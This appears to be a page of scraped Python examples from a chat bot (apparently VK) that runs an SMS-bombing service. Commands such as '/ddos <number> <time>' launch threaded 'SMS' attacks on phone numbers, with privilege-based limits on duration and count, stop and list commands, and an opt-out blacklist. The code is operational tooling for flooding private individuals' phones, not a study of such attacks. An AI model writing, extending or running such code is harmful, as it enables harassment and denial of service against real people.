Exemple #1
0
def __end_ddos_number(ddos_dict: dict(), user_id, pr_number) -> None:
    if user_id in ddos_dict:
        if pr_number in ddos_dict[user_id]:
            del ddos_dict[user_id][pr_number]
            if len(ddos_dict[user_id]) == 0:
                del ddos_dict[user_id]
            messages_send(user_id, info['stp_ddos'].format('+7' + pr_number))
Exemple #2
0
def stop_ddos_number(user_id: str, number: str):
    if user_id in ddos_dict:
        if number in ddos_dict[user_id]:
            # Switch off ddos for user_id and number
            ddos_dict[user_id][number].is_running = False
            del ddos_dict[user_id][number]
            if len(ddos_dict[user_id]) == 0:
                del ddos_dict[user_id]
            messages_send(user_id, info['dis_ddos'].format(number))
            return
    messages_send(user_id, info['not_num_in_dict'].format(number))
Exemple #3
0
def permission_process(user_id: str, args: list, privilege: str) -> None:
    if args[0] == '/info' or args[0] == 'начать' or args[0] == 'start':
        limit = available_commands[privilege]
        messages_send(
            user_id,
            priv_info['general']['ddos'].format(limit['ddos']['time'],
                                                limit['ddos']['count']))
        if privilege != 'user':
            messages_send(user_id, priv_info['not_jeneral']['bl'])
        return

    if args[0] == '/ddos':
        ddos(user_id, args, privilege)
    elif args[0] == '/bl':
        bl(user_id, args, privilege)
    else:
        messages_send_key(user_id, errors['er_not_command'], info_keyboard())
 def process(self, user_id, message: str):
     # Add user to table if not
     exists_user(user_id)
     # If user is not a group member
     if not is_group_member(user_id):
         messages_send(user_id, info['not_member'])
         return
     # Get the privilege by user_id
     privilege = get_privilege(user_id)
     # Check got privilege
     if not is_privilege(privilege):
         messages_send(user_id, errors['er_privilege'])
         return
     # Split the message like commands
     args = message.lower().strip().split()
     # Processing the commands for user with privilege
     permission_process(user_id, args, privilege)
Exemple #5
0
def call_ddos_number(user_id: str, number: str, time: int, threads: int):
    if user_id not in ddos_dict:
        ddos_dict[user_id] = {
            number:
            AttackMethod(name='SMS',
                         duration=time,
                         threads=threads,
                         target=number)
        }
    else:
        ddos_dict[user_id].update({
            number:
            AttackMethod(name='SMS',
                         duration=time,
                         threads=threads,
                         target=number)
        })
    end_thread = Timer(time, __end_ddos_number, (ddos_dict, user_id, number))
    end_thread.start()
    messages_send(user_id, info['str_ddos'].format(number, time, threads))
    ddos_dict[user_id][number].Start()
Exemple #6
0
def bot_started():
    for admin in get_users():
        if get_privilege(admin.split()[0]) == 'admin':
            messages_send(admin.split()[0], 'Bot has been started...')
Exemple #7
0
def bl(user_id: str, args: list, privilege: str):
    if len(args) > 3:
        messages_send_key(user_id, errors['er_invalid_args'].format(args[0]),
                          info_keyboard())
        return

    if privilege == 'user':
        messages_send_key(user_id, errors['er_no_access'], info_keyboard())
        return

    limits = available_commands[privilege]['bl']
    if args[1] not in limits:
        messages_send_key(user_id, errors['er_invalid_args'].format(args[0]),
                          info_keyboard())
        return

    if args[1] == 'add':
        num = parse_number(args[2])
        if num is None:
            messages_send_key(user_id, errors['er_invalid_number'],
                              info_keyboard())
            return

        numbers = get_number(user_id)
        if len(numbers) >= limits['add']:
            messages_send_key(user_id, errors['er_limit_bl_num'],
                              info_keyboard())
            return

        for n in numbers:
            if num in n.split()[1]:
                messages_send_key(user_id,
                                  errors['er_already_in_table'].format(num),
                                  info_keyboard())
                return

        add_number(user_id, num)
        messages_send(user_id, info['bl_add'].format(num))
        return

    if args[1] == 'rem':
        num = parse_number(args[2])
        if num is None:
            messages_send_key(user_id, errors['er_invalid_number'],
                              info_keyboard())
            return

        if not rem_number(user_id, num):
            messages_send_key(user_id, errors['er_no_rem'], info_keyboard())
            return

        messages_send(user_id, info['bl_rem'].format(num))
        return

    if args[1] == 'ls':
        numbers = get_number(user_id)

        if len(numbers) == 0:
            messages_send_key(user_id, errors['er_no_numbers'],
                              info_keyboard())
            return

        res = ""
        index = 0
        for n in numbers:
            index += 1
            res += (f'{index}: +' + n.split()[1] + '\n')
        messages_send(user_id, info['bl_ls'].format(res))
        return
Exemple #8
0
def ddos(user_id: str, args: list, privilege: str):
    if len(args) == 3:
        if args[1] == 'stop':
            pr_number = parse_number(args[2])
            if pr_number is not None:
                stop_ddos_number(user_id, pr_number)
            else:
                messages_send_key(user_id, errors['er_stop_ddos'],
                                  info_keyboard())
            return

    if len(args) == 2:
        if args[1] == 'ls':
            list_ddos_numbers = []
            if user_id in ddos_dict:
                for num in ddos_dict[user_id]:
                    list_ddos_numbers.append('+' + str(num))
                messages_send(
                    user_id,
                    info['ddos_list_now'].format('\n'.join(list_ddos_numbers)))
                return
            else:
                messages_send_key(user_id, errors['er_no_ddos_numbers'],
                                  info_keyboard())
                return

    if len(args) != 3:
        messages_send_key(user_id, errors['er_invalid_args'].format(args[0]),
                          info_keyboard())
        return

    num = parse_number(args[1])
    if num is None:
        messages_send_key(user_id, errors['er_invalid_number'],
                          info_keyboard())
        return

    if num in get_numbers():
        messages_send_key(user_id, errors['er_in_black_list'], info_keyboard())
        return

    time = int(args[2])
    limits = available_commands[privilege]['ddos']
    if time > limits['time']:
        messages_send_key(user_id,
                          errors['er_no_priv_args'].format(limits['time']),
                          info_keyboard())
        return

    ddos_numbers = get_ddos_numbers_by_user_id(user_id)
    if ddos_numbers is not None:
        print(len(ddos_numbers))
        if len(ddos_numbers) >= limits['count']:
            messages_send_key(
                user_id, errors['er_limit_ddos_num'].format('\n'.join(
                    ddos_numbers.keys())), info_keyboard())
            return

    if ddos_numbers is not None:
        if num in ddos_numbers.keys():
            messages_send_key(user_id, errors['er_already_ddos'].format(num),
                              info_keyboard())
            return

    add_number_to_history(user_id, num)
    Thread(target=call_ddos_number, args=(user_id, num, time, 15)).start()